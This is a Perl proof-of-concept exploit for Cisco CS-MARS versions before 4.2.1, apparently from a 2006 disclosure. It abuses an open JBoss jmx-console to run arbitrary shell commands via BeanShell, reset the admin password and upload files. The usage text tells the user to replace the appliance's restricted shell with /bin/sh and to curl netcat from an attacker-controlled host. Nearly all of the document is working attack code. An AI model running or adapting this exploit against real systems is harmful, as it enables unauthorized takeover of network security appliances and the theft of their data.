#!/usr/bin/perl
#
# Cisco/Protego CS-MARS < 4.2.1 remote command execution, system compromise
# via insecure JBoss installation.
#
# Fully functional POC code by Jon Hart <jhart@spoofed.org>
#
# Addressed in CSCse47646
#
# CS-MARS is an event correlation product orginally written by Protego,
# which is now owned by Cisco. It is built on top of JBoss.
# Unfortunately, little or no effort was put in to securing the JBoss
# installation as per the JBoss community's recommended best practices.
# A such, the usual set of JBoss interfaces are wide open and it is up to
# the attacker how creative they want to be in compromising the box. This
# particular exploit vector abuses the JBoss jmx-console for all sorts of
# fun. It should also be noted that, because of the very old kernel
# running on most CS-MARS boxes (2.4.9), once JBoss is compromised, root is
# almost trivial. Thanks to Cisco PSIRT and Matt Cerha for their
# cooperation in getting this fixed.
#
#################################
# Copyright (C) 2006 Jon Hart
#
# This program is free software; you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by the Free
# Software Foundation; either version 2 of the License, or (at your option)
# any later version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
# FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
# more details.
#
# You should have received a copy of the GNU General Public License along with
# this program; if not, write to the Free Software Foundation, Inc., 59 Temple
# Place, Suite 330, Boston, MA 02111-1307 USA
#
#
#################################
#use strict;
use HTTP::Request::Common;
use LWP::UserAgent;
use IO::Socket;
my $target = shift(@ARGV) || &usage;
my $attack_type = shift(@ARGV) || &usage;
for ($attack_type) {
if (/pass/) { &change_passwd(@ARGV); }
elsif (/cmd/) { &run_cmd(@ARGV); }
elsif (/upload/) { &upload(@ARGV); }
elsif (/[bean|bsh]/) { &run_bsh(@ARGV); }
else { &usage; }
}
sub change_passwd {
my $passwd = shift;
&run_cmd("/opt/janus/release/bin/pnpasswd $passwd");
}
sub encode {
my $en = shift;
my $string = "";
foreach my $char (split(//, $en)) {
if ($char =~ /([:|\/|(|)|"|'|`| ])/) {
$string .= sprintf("%%%x", ord($1));
} else { $string .= $char; }
}
return $string;
}
sub jmx_post {
my $form_data = shift;
my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)");
my $req = HTTP::Request->new(POST => "http://$target/jmx-console/HtmlAdaptor");
$req->content_type('application/x-www-form-urlencoded');
$req->content(&encode($form_data));
my $res = $ua->request($req);
return $res->is_success ? 0 : $res->status_line;
}
sub run_bsh {
my $file = shift;
my $bsh = "";
open(BSH, "$file") or die "Couldn't open $file: $!\n";
print("Sending beanshell from $file: ");
while (<BSH>) {
# the bsh must be one long string...
chomp();
$bsh .= $_;
}
printf("%s\n", &send_beanshell($bsh) == 0 ? "Success" : "Failed");
}
sub run_cmd {
my $cmd = shift;
my $code = "";
# & in the command needs to be encoded so as to not be confused with the &
# in the URI
$cmd =~ s/&/%26/g;
if ($cmd =~ />|\||&/) {
# exec() does not handle pipes or redirection well, so do this instead
$code = 'String sh = "/bin/sh"; String opt = "-c"; String cmd = "'
. $cmd .
'"; String[] exec = new String[] { sh, opt, cmd }; Runtime.getRuntime().exec(exec);';
} else {
$code = "Runtime.getRuntime().exec(\"$cmd\");";
}
print("Running '$cmd' on $target: ");
printf("%s\n", &send_beanshell($code) == 0 ? "Success" : "Failed!");
}
sub send_beanshell {
my $code = shift;
# ensure the name of the bsh job within java has a unique name
my $name = "cmd" . int(rand(65535)) . $$;
return &jmx_post("action=invokeOp&name=jboss.scripts:service=BSHDeployer&methodIndex=1&arg0=$code&arg1=$name");
}
sub upload {
# upload a file. I was too lazy to use org.jboss.console.manager.DeploymentFileRepository
my $file = shift;
my $path = shift;
my $new_name = shift;
my $chunk = "";
my $ret = 0;
open(FILE, "< $file") or die "Couldn't open $file for reading: $!\n";
if (!(defined($new_name))) {
my @path = split(/\//, $file);
$new_name = $path[$#path];
}
print("Uploading $file to $target...\n");
&run_cmd("touch $path/$new_name");
while(read(FILE,$chunk,4096)) {
# encode this file in 4096 byte chunks in a format that is able to be handled by JBoss.
# There are plenty of ways to do this, but none that were both portable and that didn't make JBoss
# throw a 500 or otherwise botch the file. UGLY.
$chunk = join('', map { sprintf("%03d,", ord("$_")) } split(//, $chunk));
$ret += &run_cmd("echo -n $chunk | perl -ne 'foreach (split(/,/, \$_)) { print chr(\$_); }' >> $path/$new_name");
}
printf("Upload of $file to $target:$path/new_name %s!\n", $ret == 0 ? "succeeded" : "failed");
}
sub usage {
print <<EOF;
Cisco MARS (CS-MARS) < 4.2.1 JBoss exploit (CSCse47646) POC by Jon Hart <jhart\@spoofed.org>
Basic Usage:
$0 <target> <exploit_type> [<exploit_specific_args] ...]
Extended Usage:
Change password:
$0 <target> pass <password>
Run shell command:
$0 <target> cmd <your quoted shell command>
Run BeanShell code:
$0 <target> bsh /path/to/file/with/beanshell
Upload files:
$0 <target> upload <file to upload> <path on target> [<new name>]
Fun Stuff:
Get a real shell:
$0 <target> cmd "cp /opt/janus/release/bin/pnsh /opt/janus/release/bin/pnsh.bak"
$0 <target> cmd "rm /opt/janus/release/bin/pnsh"
$0 <target> cmd "cp /bin/sh /opt/janus/release/bin/pnsh"
# now ssh to the target...
[pnadmin\@pnmars bin]\$ id
uid=501(pnadmin) gid=501(pnadmin) groups=501(pnadmin)
[pnadmin\@pnmars bin]\$ uname -a
Linux pnmars 2.4.9-e.57 #1 Thu Dec 2 20:56:19 EST 2004 i686 unknown
[pnadmin\@pnmars bin]\$ hostname
pnmars
Download something:
$0 <target> cmd "curl http://yourhost/nc -o /tmp/nc"
EOF
exit(1);
}
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